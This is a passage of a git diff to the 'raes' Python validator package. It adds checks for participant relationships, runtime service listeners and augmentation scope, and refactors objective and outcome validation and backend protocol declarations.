interpretation rule '{i.rule_name}' target '{i.ref}' references undefined workflow" - ), -} - class _ContentObjectivesMixin: def _verify_content(self) -> None: @@ -263,6 +250,9 @@ def _verify_content(self) -> None: def _verify_relationships(self) -> None: for name, rel in self._s.relationships.items(): + if rel.participant is not None: + self._verify_participant_relationship(name, rel) + continue if not self._is_unresolved_var(rel.source): self._validate_named_ref( rel.source, @@ -280,9 +270,13 @@ def _verify_relationships(self) -> None: def _verify_agents(self) -> None: flat_entity_names = self._all_entity_names() + for issue in analyze_participant_affiliations( + agents_by_name=self._s.agents, entity_names=flat_entity_names, is_unresolved=self._is_unresolved_var + ).issues: + self._err(issue.message) service_names = {service.name for node in self._s.nodes.values() for service in node.services if service.name} for name, agent in self._s.agents.items(): - self._verify_agent(name, agent, flat_entity_names, service_names) + self._verify_agent(name, agent, service_names) for issue in analyze_participant_interactive_access( agents_by_name=self._s.agents, nodes=self._s.nodes, @@ -292,10 +286,8 @@ def _verify_agents(self) -> None: ): self._err(issue.message) - def _verify_agent(self, name: str, agent: object, flat_entity_names: set[str], service_names: set[str]) -> None: + def _verify_agent(self, name: str, agent: object, service_names: set[str]) -> None: label = f"Agent '{name}'" - if agent.entity and not self._is_unresolved_var(agent.entity) and agent.entity not in flat_entity_names: - self._err(f"{label} references undefined entity '{agent.entity}'") self._verify_membership_refs( agent.starting_accounts, self._s.accounts, @@ -360,6 +352,8 @@ def _verify_agent_ik_hosts(self, label: str, initial_knowledge: object) -> None: self._err(f"{label} initial_knowledge host '{host}' must reference a compute node") def _verify_participant_behavior(self) -> None: + for error in participant_temporal_binding_errors(self._s): + self._err(error) analysis = analyze_participant_behavior( agents_by_name=self._s.agents, action_contracts=self._s.action_contracts, @@ -394,11 +388,8 @@ def _participant_roles_by_agent(self) -> dict[str, str]: entities = flatten_entities(self._s.entities) roles: dict[str, str] = {} for agent_name, agent in self._s.agents.items(): - if self._is_unresolved_var(agent.entity): - continue - entity = entities.get(agent.entity) - role = getattr(entity, "role", None) - if role is None or self._is_unresolved_var(role): + role = agent.effective_role(entities) + if role is None: continue roles[agent_name] = str(getattr(role, "value", role)) return roles @@ -444,16 +435,14 @@ def _verify_participant_outcomes(self) -> None: self._err(self._format_participant_outcome_issue(issue)) def _verify_objectives(self) -> None: - # Declarative-objective semantics — actor binding, target resolution, - # success interpretation, windows, and dependency ordering (SEM-207). - # The name-level reference graph, ordering/refresh-role model, and - # fail-closed issue set live in ``raes.semantics.objective_semantics``; - # this pass renders the machine-readable issues it reports as authoring - # errors. + # The shared analyzer owns relations and dependency semantics (SEM-207). analysis = analyze_objective_semantics( objectives_by_name=self._s.objectives, - agents_by_name=self._s.agents, - entity_names=self._all_entity_names(), + relation_resources=ObjectiveRelationCatalog( + agents=self._s.agents, + entity_names=self._all_entity_names(), + action_contracts=self._s.action_contracts, + ), assessment_resources=AssessmentResourceCatalog( assertions=self._s.assertions, ), @@ -485,7 +474,7 @@ def _format_participant_behavior_issue(issue: ParticipantBehaviorIssue) -> str: @staticmethod def _format_participant_outcome_issue(issue: ParticipantOutcomeIssue) -> str: - renderer = _PARTICIPANT_OUTCOME_ISSUE_RENDERERS.get(issue.code) + renderer = PARTICIPANT_OUTCOME_ISSUE_RENDERERS.get(issue.code) if renderer is None: raise AssertionError(f"unhandled participant-outcome issue code: {issue.code}") return renderer(issue) diff --git a/implementations/python/packages/raes/validator/_core.py b/implementations/python/packages/raes/validator/_core.py index f5a399d5e..cfd0985d5 100644 --- a/implementations/python/packages/raes/validator/_core.py +++ b/implementations/python/packages/raes/validator/_core.py @@ -226,6 +226,7 @@ def validate(self) -> None: self._verify_workflows() self._verify_participant_outcomes() self._verify_evidence_requirements() + self._verify_augmentation_scope() self._verify_time_model() self._verify_variables() self._verify_variation_points() diff --git a/implementations/python/packages/raes/validator/_evidence_requirements.py b/implementations/python/packages/raes/validator/_evidence_requirements.py index 9af312952..c8d512a7f 100644 --- a/implementations/python/packages/raes/validator/_evidence_requirements.py +++ b/implementations/python/packages/raes/validator/_evidence_requirements.py @@ -2,11 +2,37 @@ from __future__ import annotations -from raes.observation_scope import resolve_observation_scope +from raes_contracts.augmentation_scope import AugmentationScopeRule + +from raes.observation_scope import resolve_observation_scope, semantic_scope_namespace from raes.runtime_forwarding_agent import RuntimeForwardingAgentOwnershipRole +from raes.scenario import ExpandedScenario, InstantiatedScenario, Scenario class _EvidenceRequirementsMixin: + def _verify_augmentation_scope(self) -> None: + # Descriptions retain original-source policy addresses even when a + # prospective/actual removal no longer contains the addressed member. + # Execution admission resolves these against the bound original source. + if not isinstance(self._s, (Scenario, ExpandedScenario, InstantiatedScenario)): + return + policy = self._s.augmentation_scope + if policy is not None: + provenance = getattr(self._s, "instantiation_provenance", getattr(self._s, "expansion_provenance", None)) + namespaces = {record.namespace for record in getattr(provenance, "imports", ())} + for rule in policy.scopes: + if rule.namespace and rule.namespace not in namespaces: + self._err("Augmentation permission namespace does not resolve to an admitted import") + self._verify_observation_scope(rule.scope, "Augmentation permission", "scope") + self._verify_augmentation_namespace_owner(rule) + + def _verify_augmentation_namespace_owner(self, rule: AugmentationScopeRule) -> None: + found, canonical = resolve_observation_scope(self._s, rule.scope) + if rule.namespace and found and len(canonical.split("/")) >= 3: + owner = semantic_scope_namespace(self._s.model_dump(mode="json"), canonical) + if owner[: len(rule.namespace)] != rule.namespace: + self._err("Augmentation permission namespace does not own the addressed declaration") + def _verify_evidence_requirements(self) -> None: for name, requirement in self._s.evidence_requirements.items(): owner_label = f"Evidence requirement '{name}'" diff --git a/implementations/python/packages/raes/validator/_nodes_infra_network.py b/implementations/python/packages/raes/validator/_nodes_infra_network.py index 148af7276..1d375bc91 100644 --- a/implementations/python/packages/raes/validator/_nodes_infra_network.py +++ b/implementations/python/packages/raes/validator/_nodes_infra_network.py @@ -5,6 +5,7 @@ from ipaddress import ip_address, ip_network +from .._identifiers import QualifiedName from ..architectures import architectures_compatible from ..infrastructure import SimpleProperties from ..nodes import MAX_NODE_NAME_LENGTH, NodeType @@ -17,7 +18,7 @@ class _NodesInfraNetworkMixin: def _verify_nodes(self) -> None: for name, node in self._s.nodes.items(): - if len(name) > MAX_NODE_NAME_LENGTH: + if len(QualifiedName.parse(name).parts[-1]) > MAX_NODE_NAME_LENGTH: self._err(f"Node '{name}' name exceeds 35 characters") self._verify_node_ref_role_map(name, node, node.features, self._s.features, kind="feature") self._verify_node_ref_role_map(name, node, node.conditions, self._s.conditions, kind="condition") diff --git a/implementations/python/packages/raes/validator/_participant_execution_renderers.py b/implementations/python/packages/raes/validator/_participant_execution_renderers.py index fd15d03b7..7b8c636a5 100644 --- a/implementations/python/packages/raes/validator/_participant_execution_renderers.py +++ b/implementations/python/packages/raes/validator/_participant_execution_renderers.py @@ -89,7 +89,12 @@ "participant.autonomous-non-evaluated-objective-authority": ( lambda i: ( f"Behavior specification '{i.spec_name}' non-evaluated participant " - f"'{i.participant_name}' cannot be an objective actor" + f"'{i.participant_name}' cannot be assigned an objective" + ) + ), + "participant.autonomous-objective-not-assigned": ( + lambda i: ( + f"Behavior specification '{i.spec_name}' objective '{i.ref}' must be assigned to a selected participant" ) ), "participant.autonomous-non-evaluated-authority-widening": ( diff --git a/implementations/python/packages/raes/validator/_participant_outcome_renderers.py b/implementations/python/packages/raes/validator/_participant_outcome_renderers.py new file mode 100644 index 000000000..507a5d525 --- /dev/null +++ b/implementations/python/packages/raes/validator/_participant_outcome_renderers.py @@ -0,0 +1,25 @@ +"""Authoring diagnostics for participant outcome interpretation rules.""" + +PARTICIPANT_OUTCOME_ISSUE_RENDERERS = { + "participant.outcome.local-effect-unbound": ( + lambda i: ( + f"Outcome interpretation rule '{i.rule_name}' criterion '{i.binding_id}' " + f"references undefined effect '{i.ref}'" + ) + ), + "participant.outcome.source-action-unbound": ( + lambda i: f"Outcome interpretation rule '{i.rule_name}' source '{i.ref}' references undefined action contract" + ), + "participant.outcome.source-objective-unbound": ( + lambda i: f"Outcome interpretation rule '{i.rule_name}' source '{i.ref}' references undefined objective" + ), + "participant.outcome.source-workflow-unbound": ( + lambda i: f"Outcome interpretation rule '{i.rule_name}' source '{i.ref}' references undefined workflow" + ), + "participant.outcome.target-objective-unbound": ( + lambda i: f"Outcome interpretation rule '{i.rule_name}' target '{i.ref}' references undefined objective" + ), + "participant.outcome.target-workflow-unbound": ( + lambda i: f"Outcome interpretation rule '{i.rule_name}' target '{i.ref}' references undefined workflow" + ), +} diff --git a/implementations/python/packages/raes/validator/_participant_relationships.py b/implementations/python/packages/raes/validator/_participant_relationships.py new file mode 100644 index 000000000..378b75a83 --- /dev/null +++ b/implementations/python/packages/raes/validator/_participant_relationships.py @@ -0,0 +1,261 @@ +"""Participant relationship endpoint and refinement agreement checks.""" + +from ..participant_behavior_specification import MixedControlControllerState, MixedControlParticipantOperation +from ..participant_relationships import PARTICIPANT_RELATIONSHIP_REFERENCE_SECTIONS, ParticipantRelationship +from ..relationships import Relationship +from ..semantics._domain_topology_types import resolve_section_ref + + +class _ParticipantRelationshipsMixin: + def _verify_participant_relationship(self, name: str, relationship: Relationship) -> None: + label = f"Relationship '{name}'" + endpoints = [] + for field in ("source", "target"): + ref = getattr(relationship, field) + if self._is_unresolved_var(ref): + endpoints.append(None) + continue + resolved = resolve_section_ref(ref, "agents", self._s.agents) + candidates = self._named_ref_index(targetable=True).get(ref, set()) + if resolved is None or candidates != {f"agents.{resolved}"}: + self._err(f"{label} {field} participant endpoint must resolve unambiguously to a declared agent") + resolved = None + endpoints.append(resolved) + source, target = endpoints + if source is not None and source == target: + self._err(f"{label} requires distinct participants") + detail = relationship.participant + refs = { + field: self._participant_relation_refs(label, detail, field, section) + for field, section in PARTICIPANT_RELATIONSHIP_REFERENCE_SECTIONS.items() + if section != "named" + } + self._participant_relation_action_refs(label, detail, refs, source, target) + self._participant_relation_behavior_refs(label, refs, source, target) + self._participant_relation_authority(label, detail, source) + self._participant_relation_scope(label, detail, source, target) + self._participant_relation_visibility(label, detail, source) + self._participant_relation_control(label, detail, source, target) + + def _participant_relation_control( + self, + label: str, + detail: ParticipantRelationship, + source: str | None, + target: str | None, + ) -> None: + ref = detail.control_specification_ref + if ref is None or self._is_unresolved_var(ref): + return + control = self._participant_relation_control_policy(label, ref) + if control is None or source is None or target is None: + return + controlled, controller = (source, target) if detail.kind == "delegation" else (target, source) + states = self._participant_relation_controller_states(control, controlled, controller) + if not states: + self._err(f"{label} control_specification_ref contradicts participant/controller direction") + else: + self._participant_relation_control_scope(label, detail.scope_refs, states) + + def _participant_relation_control_policy(self, label: str, ref: str) -> MixedControlParticipantOperation | None: + name = resolve_section_ref(ref, "behavior_specifications", self._s.behavior_specifications) + if name is None: + self._err(f"{label} control_specification_ref must reference declared behavior_specifications") + return None + control = self._s.behavior_specifications[name].mixed_control + if control is None: + self._err(f"{label} control_specification_ref requires an existing mixed_control declaration") + return control + + @staticmethod + def _participant_relation_controller_states( + control: MixedControlParticipantOperation, controlled: str, controller: str + ) -> list[MixedControlControllerState]: + if control.participant_ref != controlled: + return [] + return [ + state + for state in control.controller_states.values() + if state.controller_ref == controller and state.authority_status == "active" + ] + + def _participant_relation_control_scope( + self, label: str, refs: list[str], states: list[MixedControlControllerState] + ) -> None: + scope_index = self._operating_scope_ref_index() + policy_scope = self._resolved_mixed_control_refs( + [ref for state in states for ref in state.scope_refs], index=scope_index + ) + for ref in refs: + if not self._is_unresolved_var(ref) and not scope_index.get(ref, set()).issubset(policy_scope): + self._err(f"{label} control_specification_ref must cover the selected relationship scope") + + def _participant_relation_refs( + self, + label: str, + detail: ParticipantRelationship, + field: str, + section: str, + ) -> set[str]: + resolved = set() + declarations = getattr(self._s, section) + for ref in getattr(detail, field): + if self._is_unresolved_var(ref): + continue + name = resolve_section_ref(ref, section, declarations) + if name is None: + self._err(f"{label} {field} must reference declared {section}") + elif name in resolved: + self._err(f"{label} {field} repeats a canonical reference") + else: + resolved.add(name) + return resolved + + def _participant_relation_action_refs( + self, + label: str, + detail: ParticipantRelationship, + refs: dict[str, set[str]], + source: str | None, + target: str | None, + ) -> None: + for field, participant in (("source_action_refs", source), ("target_action_refs", target)): + if participant is None: + continue + available = self._s.agents[participant].actions + if not any(self._is_unresolved_var(ref) for ref in available) and not refs[field].issubset(available): + self._err(f"{label} {field} must be available to participant '{participant}'") + if detail.kind != "coordination": + return + for action_name in refs["source_action_refs"]: + related = self._participant_coordination_actions(action_name, target) + if any(self._is_unresolved_var(ref) for ref in related): + continue + if refs["target_action_refs"] and not refs["target_action_refs"].issubset(related): + self._err(f"{label} coordination refinements must agree with an action interaction") + + def _participant_coordination_actions(self, action_name: str, target: str | None) -> set[str]: + related = set() + for interaction in self._s.action_contracts[action_name].interactions: + if interaction.interaction_class != "coordination": + continue + peer = resolve_section_ref(interaction.target, "agents", self._s.agents) + # Resource-targeted synchronization does not invent a peer target. + # An explicitly named participant, however, must agree with the edge. + if target is not None and peer is not None and peer != target: + continue + related.update(interaction.related_actions) + return related + + def _participant_relation_endpoint_roles(self, endpoints: set[str]) -> tuple[set[str], bool]: + participant_roles = self._participant_roles_by_agent() + roles = {participant_roles[name] for name in endpoints if name in participant_roles} + unresolved_role = any(self._is_unresolved_var(role) for role in roles) + return roles, unresolved_role + + def _participant_relation_behavior_refs( + self, + label: str, + refs: dict[str, set[str]], + source: str | None, + target: str | None, + ) -> None: + if source is None or target is None: + return + endpoints = {source, target} + roles, unresolved_role = self._participant_relation_endpoint_roles(endpoints) + for name in refs["behavior_specification_refs"]: + behavior = self._s.behavior_specifications[name] + if any( + self._is_unresolved_var(ref) for ref in (*behavior.participant_refs, *behavior.participant_role_refs) + ): + continue + if not ( + endpoints.intersection(behavior.participant_refs) + or roles.intersection(behavior.participant_role_refs) + or (behavior.participant_role_refs and unresolved_role) + ): + self._err(f"{label} behavior_specification_refs must include a relationship endpoint") + self._participant_relation_objectives(label, refs["objective_refs"], endpoints) + + def _participant_relation_objectives(self, label: str, refs: set[str], endpoints: set[str]) -> None: + for name in refs: + objective = self._s.objectives[name] + if self._is_unresolved_var(objective.assigned_participant): + continue + if objective.assigned_participant not in endpoints: + self._err(f"{label} objective_refs must be assigned to a relationship endpoint") + + def _participant_relation_unique_named_refs( + self, label: str, field: str, refs: list[str], index: dict[str, set[str]] + ) -> None: + seen: set[str] = set() + for ref in refs: + if self._is_unresolved_var(ref): + continue + canonical = index.get(ref, set()) + # The owning reference validator reports missing or ambiguous refs. + if len(canonical) != 1: + continue + if seen.intersection(canonical): + self._err(f"{label} {field} repeats a canonical reference") + seen.update(canonical) + + def _participant_relation_authority( + self, + label: str, + detail: ParticipantRelationship, + source: str | None, + ) -> None: + index = self._named_ref_index() + self._participant_relation_unique_named_refs(label, "authority_basis_refs", detail.authority_basis_refs, index) + for ref in detail.authority_basis_refs: + if self._is_unresolved_var(ref): + continue + self._validate_named_ref(ref, owner_label=label, ref_label="authority_basis_refs") + if source is not None: + anchors = self._s.agents[source].authority_anchors + authority = self._resolved_mixed_control_refs(anchors, index=index) + if not any(self._is_unresolved_var(item) for item in anchors) and not index.get(ref, set()).issubset( + authority + ): + self._err(f"{label} authority_basis_refs must not widen source authority") + + def _participant_relation_scope( + self, + label: str, + detail: ParticipantRelationship, + source: str | None, + target: str | None, + ) -> None: + scope_index = self._operating_scope_ref_index() + self._participant_relation_unique_named_refs(label, "scope_refs", detail.scope_refs, scope_index) + for ref in detail.scope_refs: + if self._is_unresolved_var(ref): + continue + self._validate_operating_scope_ref(ref, owner_label=label) + for participant in (source, target): + if participant is None: + continue + scopes = self._s.agents[participant].operating_scope + allowed = self._resolved_mixed_control_refs(scopes, index=scope_index) + if not any(self._is_unresolved_var(item) for item in scopes) and not scope_index.get( + ref, set() + ).issubset(allowed): + self._err(f"{label} scope_refs must stay within participant '{participant}' operating_scope") + + def _participant_relation_visibility( + self, + label: str, + detail: ParticipantRelationship, + source: str | None, + ) -> None: + if source is None: + return + available = self._s.agents[source].observation_boundaries + for ref in detail.observation_boundary_refs: + if self._is_unresolved_var(ref) or any(self._is_unresolved_var(item) for item in available): + continue + name = resolve_section_ref(ref, "observation_boundaries", self._s.observation_boundaries) + if name is not None and name not in available: + self._err(f"{label} observation_boundary_refs must be available to the source participant") diff --git a/implementations/python/packages/raes/validator/_runtime_listeners.py b/implementations/python/packages/raes/validator/_runtime_listeners.py new file mode 100644 index 000000000..aa1e673c4 --- /dev/null +++ b/implementations/python/packages/raes/validator/_runtime_listeners.py @@ -0,0 +1,169 @@ +"""Semantic validation for node-scoped runtime service listeners.""" + +from __future__ import annotations + + +class _RuntimeListenersMixin: + def _verify_runtime_service_listeners(self) -> None: + """Validate service-listener descriptions against same-node runtime facts.""" + for node_name, node in self._s.nodes.items(): + runtime = getattr(node, "runtime", None) + if runtime is None or not runtime.service_listeners: + continue + services_by_name = self._node_services_by_name(node) + process_refs = self._node_runtime_process_refs(node) + published_ports = self._node_published_port_keys(node) + for listener_index, listener in enumerate(runtime.service_listeners): + label = f"Node '{node_name}' runtime service listener '{listener.service_listener_id}'" + field_prefix = f"nodes.{node_name}.runtime.service_listeners[{listener_index}]" + self._verify_listener_transport_shape(label, field_prefix, listener) + service = self._resolve_owned_service_ref( + node_name, + getattr(listener, "service", ""), + services_by_name, + owner_label=label, + ) + if service is not None: + self._verify_listener_service_binding(label, field_prefix, listener, service) + self._verify_listener_process_ref(label, listener, process_refs) + self._verify_listener_published_port_refs(label, field_prefix, listener, published_ports) + + def _verify_listener_transport_shape(self, label: str, field_prefix: str, listener: object) -> None: + """Resolve legacy TCP-default ambiguity with scenario provenance.""" + if not self._listener_field_supplied(listener, field_prefix, "protocol"): + return + protocol = self._known_listener_protocol(getattr(listener, "protocol", "")) + if protocol != "tcp": + return + socket_path = getattr(listener, "socket_path", "") + family = self._enum_or_raw(getattr(listener, "address_family", "")) + scope = self._enum_or_raw(getattr(listener, "scope", "")) + if socket_path or family == "unix" or scope == "local_socket": + self._err(f"{label} supplied TCP protocol contradicts Unix listener facts") + + def _verify_listener_service_binding( + self, + label: str, + field_prefix: str, + listener: object, + service: object, + ) -> None: + listener_port = getattr(listener, "port", None) + listener_protocol = self._known_listener_protocol(getattr(listener, "protocol", "")) + service_port = getattr(service, "port", None) + service_protocol = getattr(service, "protocol", "") + if any(self._is_unresolved_var(value) for value in (service_port, service_protocol)): + return + port_mismatch = ( + self._listener_field_supplied(listener, field_prefix, "port") + and listener_port is not None + and not self._is_unresolved_var(listener_port) + and listener_port != service_port + ) + protocol_mismatch = ( + self._listener_field_supplied(listener, field_prefix, "protocol") + and listener_protocol is not None + and listener_protocol != str(service_protocol).lower() + ) + if port_mismatch or protocol_mismatch: + self._err(f"{label} port/protocol must match service '{service.name}'") + + @staticmethod + def _enum_or_raw(value: object) -> object: + return value.value if hasattr(value, "value") else value + + def _known_listener_protocol(self, value: object) -> str | None: + raw = self._enum_or_raw(value) + if not raw or self._is_unresolved_var(raw): + return None + normalized = str(raw).lower() + if normalized in {"unknown", "other"}: + return None + return normalized + + def _listener_field_supplied(self, listener: object, field_prefix: str, field_name: str) -> bool: + if hasattr(self._s, "instantiation_provenance"): + return f"{field_prefix}.{field_name}" in self._s.explicitness + return field_name in getattr(listener, "model_fields_set", set()) + + def _verify_listener_process_ref(self, label: str, listener: object, process_refs: set[str]) -> None: + ref = getattr(listener, "process_ref", "") + if not ref or self._is_unresolved_var(ref): + return + if ref not in process_refs: + self._err(f"{label} process_ref '{ref}' does not resolve to a runtime process name or pid") + + def _verify_listener_published_port_refs( + self, + label: str, + field_prefix: str, + listener: object, + published_ports: set[tuple[str, int | str | None, int | str, str]], + ) -> None: + listener_port = getattr(listener, "port", None) + listener_protocol = self._known_listener_protocol(getattr(listener, "protocol", "")) + port_supplied = self._listener_field_supplied(listener, field_prefix, "port") + protocol_supplied = self._listener_field_supplied(listener, field_prefix, "protocol") + for ref in getattr(listener, "published_port_refs", []): + values = (ref.host_ip, ref.host_port, ref.container_port, ref.protocol) + if any(self._is_unresolved_var(value) for value in values): + continue + if self._listener_published_port_mismatch( + ref_container_port=ref.container_port, + ref_protocol=ref.protocol, + listener_port=listener_port, + listener_protocol=listener_protocol, + port_supplied=port_supplied, + protocol_supplied=protocol_supplied, + ): + self._err(f"{label} published_port_refs entry must match listener port/protocol") + continue + if values not in published_ports: + self._err(f"{label} published_port_refs entry does not resolve to runtime.network.published_ports") + + def _listener_published_port_mismatch( + self, + *, + ref_container_port: object, + ref_protocol: str, + listener_port: object, + listener_protocol: str | None, + port_supplied: bool, + protocol_supplied: bool, + ) -> bool: + port_mismatch = ( + port_supplied + and listener_port is not None + and not self._is_unresolved_var(listener_port) + and ref_container_port != listener_port + ) + protocol_mismatch = protocol_supplied and listener_protocol is not None and ref_protocol != listener_protocol + return port_mismatch or protocol_mismatch + + def _node_runtime_process_refs(self, node: object) -> set[str]: + runtime = getattr(node, "runtime", None) + if runtime is None: + return set() + refs: set[str] = set() + processes = [getattr(runtime, "process", None), *getattr(runtime, "processes", [])] + for process in processes: + if process is None: + continue + name = getattr(process, "name", "") + pid = getattr(process, "pid", None) + if name and not self._is_unresolved_var(name): + refs.add(str(name)) + if pid is not None and not self._is_unresolved_var(pid): + refs.add(str(pid)) + return refs + + @staticmethod + def _node_published_port_keys(node: object) -> set[tuple[str, int | str | None, int | str, str]]: + runtime = getattr(node, "runtime", None) + network = getattr(runtime, "network", None) if runtime is not None else None + if network is None: + return set() + return { + (binding.host_ip, binding.host_port, binding.container_port, binding.protocol) + for binding in network.published_ports + } diff --git a/implementations/python/packages/raes/validator/_runtime_services.py b/implementations/python/packages/raes/validator/_runtime_services.py index 39fbe114b..e0b920da6 100644 --- a/implementations/python/packages/raes/validator/_runtime_services.py +++ b/implementations/python/packages/raes/validator/_runtime_services.py @@ -4,10 +4,11 @@ """ from ..runtime_ssh_server import SshMatchCriterionKind +from ._runtime_listeners import _RuntimeListenersMixin from ._support import _NODES_PREFIX -class _RuntimeServicesMixin: +class _RuntimeServicesMixin(_RuntimeListenersMixin): def _verify_runtime_application(self) -> None: """Validate observed runtime application surfaces against the scenario. @@ -145,101 +146,6 @@ def _verify_route_upstream_target(self, node_name: str, application: object, rou field_name="target_service", ) - def _verify_runtime_service_listeners(self) -> None: - """Validate observed service listeners against same-node runtime facts.""" - for node_name, node in self._s.nodes.items(): - runtime = getattr(node, "runtime", None) - if runtime is None or not runtime.service_listeners: - continue - services_by_name = self._node_services_by_name(node) - process_refs = self._node_runtime_process_refs(node) - published_ports = self._node_published_port_keys(node) - for listener in runtime.service_listeners: - label = f"Node '{node_name}' runtime service listener '{listener.service_listener_id}'" - service = self._resolve_owned_service_ref( - node_name, - getattr(listener, "service", ""), - services_by_name, - owner_label=label, - ) - if service is not None: - self._verify_listener_service_binding(label, listener, service) - self._verify_listener_process_ref(label, listener, process_refs) - self._verify_listener_published_port_refs(label, listener, published_ports) - - def _verify_listener_service_binding(self, label: str, listener: object, service: object) -> None: - listener_port = getattr(listener, "port", None) - listener_protocol = self._enum_or_raw(getattr(listener, "protocol", "")) - service_port = getattr(service, "port", None) - service_protocol = getattr(service, "protocol", "") - if any(self._is_unresolved_var(v) for v in (listener_port, listener_protocol, service_port, service_protocol)): - return - if listener_port is None: - return - if listener_port != service_port or str(listener_protocol).lower() != str(service_protocol).lower(): - self._err(f"{label} port/protocol must match service '{service.name}'") - - @staticmethod - def _enum_or_raw(value: object) -> object: - return value.value if hasattr(value, "value") else value - - def _verify_listener_process_ref(self, label: str, listener: object, process_refs: set[str]) -> None: - ref = getattr(listener, "process_ref", "") - if not ref or self._is_unresolved_var(ref): - return - if ref not in process_refs: - self._err(f"{label} process_ref '{ref}' does not resolve to a runtime process name or pid") - - def _verify_listener_published_port_refs( - self, - label: str, - listener: object, - published_ports: set[tuple[str, int | str | None, int | str, str]], - ) -> None: - listener_port = getattr(listener, "port", None) - listener_protocol = self._enum_or_raw(getattr(listener, "protocol", "")) - for ref in getattr(listener, "published_port_refs", []): - values = (ref.host_ip, ref.host_port, ref.container_port, ref.protocol) - if any(self._is_unresolved_var(v) for v in values): - continue - if any(self._is_unresolved_var(v) for v in (listener_port, listener_protocol)): - continue - if listener_port is not None and ( - ref.container_port != listener_port or ref.protocol != str(listener_protocol).lower() - ): - self._err(f"{label} published_port_refs entry must match listener port/protocol") - continue - if values not in published_ports: - self._err(f"{label} published_port_refs entry does not resolve to runtime.network.published_ports") - - def _node_runtime_process_refs(self, node: object) -> set[str]: - runtime = getattr(node, "runtime", None) - if runtime is None: - return set() - refs: set[str] = set() - processes = [getattr(runtime, "process", None), *getattr(runtime, "processes", [])] - for process in processes: - if process is None: - continue - name = getattr(process, "name", "") - pid = getattr(process, "pid", None) - if name and not self._is_unresolved_var(name): - refs.add(str(name)) - if pid is not None and not self._is_unresolved_var(pid): - refs.add(str(pid)) - return refs - - @staticmethod - def _node_published_port_keys(node: object) -> set[tuple[str, int | str | None, int | str, str]]: - runtime = getattr(node, "runtime", None) - network = getattr(runtime, "network", None) if runtime is not None else None - if network is None: - return set() - return { - (binding.host_ip, binding.host_port, binding.container_port, binding.protocol) - for binding in network.published_ports - } - def _verify_route_refs( self, node_name: str, diff --git a/implementations/python/packages/raes/variation.py b/implementations/python/packages/raes/variation.py index 16e5dac9d..a1c56cce3 100644 --- a/implementations/python/packages/raes/variation.py +++ b/implementations/python/packages/raes/variation.py @@ -44,8 +44,8 @@ class ReferenceTargetSlot(str, Enum): ACCOUNT_NODE = "accounts.node" ACCOUNT_DOMAIN = "accounts.domain_ref" IDENTITY_DOMAIN_AUTHORITY_ACCOUNT = "identity_domains.authority_account_ref" - OBJECTIVE_AGENT = "objectives.agent" - OBJECTIVE_ENTITY = "objectives.entity" + OBJECTIVE_ASSIGNMENT = "objectives.assigned_participant" + OBJECTIVE_OWNER = "objectives.owner" class CollectionTargetSlot(str, Enum): @@ -85,8 +85,8 @@ class LogicalTimingUnit(str, Enum): ReferenceTargetSlot.ACCOUNT_NODE: ("accounts", "nodes"), ReferenceTargetSlot.ACCOUNT_DOMAIN: ("accounts", "identity_domains"), ReferenceTargetSlot.IDENTITY_DOMAIN_AUTHORITY_ACCOUNT: ("identity_domains", "accounts"), - ReferenceTargetSlot.OBJECTIVE_AGENT: ("objectives", "agents"), - ReferenceTargetSlot.OBJECTIVE_ENTITY: ("objectives", "entities"), + ReferenceTargetSlot.OBJECTIVE_ASSIGNMENT: ("objectives", "agents"), + ReferenceTargetSlot.OBJECTIVE_OWNER: ("objectives", "entities"), } COLLECTION_TARGET_SPECS: dict[CollectionTargetSlot, tuple[str, str]] = { diff --git a/implementations/python/packages/raes_backend_protocols/__init__.py b/implementations/python/packages/raes_backend_protocols/__init__.py index 4bf684e56..4323b8cba 100644 --- a/implementations/python/packages/raes_backend_protocols/__init__.py +++ b/implementations/python/packages/raes_backend_protocols/__init__.py @@ -1,5 +1,7 @@ """Backend-facing protocol and capability declarations.""" from .domain_topology import DomainTopologyBinding as DomainTopologyBinding +from .operation_supervision import BackendOperationProvider as BackendOperationProvider +from .operation_supervision import require_operation_provider as require_operation_provider -__all__ = ["DomainTopologyBinding"] +__all__ = ["DomainTopologyBinding", "BackendOperationProvider", "require_operation_provider"] diff --git a/implementations/python/packages/raes_backend_protocols/augmentation.py b/implementations/python/packages/raes_backend_protocols/augmentation.py new file mode 100644 index 000000000..290236cae --- /dev/null +++ b/implementations/python/packages/raes_backend_protocols/augmentation.py @@ -0,0 +1,31 @@ +"""Backend adapter for the dependency-neutral prospective-effects contract.""" + +from typing import Protocol + +from raes_contracts.augmentation_preparation import AugmentationEffect, AugmentationPreparation +from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan +from raes_contracts.runtime_state import RuntimeSnapshot + +from .capabilities import BackendManifest +from .manifest import backend_manifest_v2_model + +AugmentationPlan = ProvisioningPlan | OrchestrationPlan | EvaluationPlan + + +class AugmentationPreparingProducer(Protocol): + """Pure preparation; includes every in-world effect of the producer's phase.""" + + def prepare_augmentation(self, plan: AugmentationPlan, snapshot: RuntimeSnapshot) -> AugmentationPreparation: ... + + +def augmentation_preparation( + request: AugmentationPlan, + manifest: BackendManifest, + previous: RuntimeSnapshot, + *, + content: str, + effects: tuple[AugmentationEffect, ...] = (), +) -> AugmentationPreparation: + return AugmentationPreparation.for_request( + request, backend_manifest_v2_model(manifest), previous, content=content, effects=effects + ) diff --git a/implementations/python/packages/raes_backend_protocols/backend_manifest.py b/implementations/python/packages/raes_backend_protocols/backend_manifest.py index 213c3889e..d827b14f9 100644 --- a/implementations/python/packages/raes_backend_protocols/backend_manifest.py +++ b/implementations/python/packages/raes_backend_protocols/backend_manifest.py @@ -18,6 +18,7 @@ OrchestratorCapabilities, ParticipantRuntimeCapabilities, ProvisionerCapabilities, + RecoveryObservationCapabilities, TimeCapabilities, ) @@ -53,6 +54,7 @@ class _BackendManifestOptions(TypedDict, total=False): observation: ObservationCapabilities | None cleanup: CleanupCapabilities | None time: TimeCapabilities | None + recovery_observation: RecoveryObservationCapabilities | None realization_envelope: BackendRealizationEnvelopeModel | None domain_profile_context_digest: str | None @@ -140,6 +142,10 @@ def cleanup(self) -> CleanupCapabilities | None: def time(self) -> TimeCapabilities | None: return self.capabilities.time + @property + def recovery_observation(self) -> RecoveryObservationCapabilities | None: + return self.capabilities.recovery_observation + @property def has_orchestrator(self) -> bool: return self.orchestrator is not None @@ -216,6 +222,7 @@ def _resolve_capabilities(options: _BackendManifestOptions) -> BackendCapability observation=options.get("observation"), cleanup=options.get("cleanup"), time=options.get("time"), + recovery_observation=options.get("recovery_observation"), ) diff --git a/implementations/python/packages/raes_backend_protocols/capabilities.py b/implementations/python/packages/raes_backend_protocols/capabilities.py index 